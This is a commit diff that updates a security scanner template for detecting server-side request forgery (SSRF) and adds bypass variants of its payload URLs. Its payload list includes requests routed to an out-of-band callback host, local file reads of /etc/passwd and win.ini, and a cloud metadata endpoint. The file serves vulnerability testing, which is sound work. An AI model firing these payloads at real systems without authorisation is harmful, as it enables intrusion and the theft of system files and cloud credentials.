Update response-ssrf.yaml
parent
df04445d51
commit
2cba2ac444
|
@ -2,7 +2,7 @@ id: response-ssrf
|
|||
|
||||
info:
|
||||
name: Full Response SSRF Detection
|
||||
author: pdteam,pwnhxl,j4vaovo
|
||||
author: pdteam,pwnhxl,j4vaovo,AmirHossein Raeisi
|
||||
severity: high
|
||||
reference:
|
||||
- https://github.com/bugcrowd/HUNT/blob/master/ZAP/scripts/passive/SSRF.py
|
||||
|
@ -20,7 +20,11 @@ http:
|
|||
ssrf:
|
||||
- 'http://{{interactsh-url}}'
|
||||
- 'http://{{FQDN}}.{{interactsh-url}}'
|
||||
- 'http://{{FQDN}}@{{interactsh-url}}'
|
||||
- 'http://{{interactsh-url}}#{{FQDN}}'
|
||||
- 'http://{{RDN}}.{{interactsh-url}}'
|
||||
- 'http://{{RDN}}@{{interactsh-url}}'
|
||||
- 'http://{{interactsh-url}}#{{RDN}}'
|
||||
- 'file:////./etc/./passwd'
|
||||
- 'file:///c:/./windows/./win.ini'
|
||||
- 'http://metadata.tencentyun.com/latest/meta-data/'
|
||||
|
|
Loading…
Reference in New Issue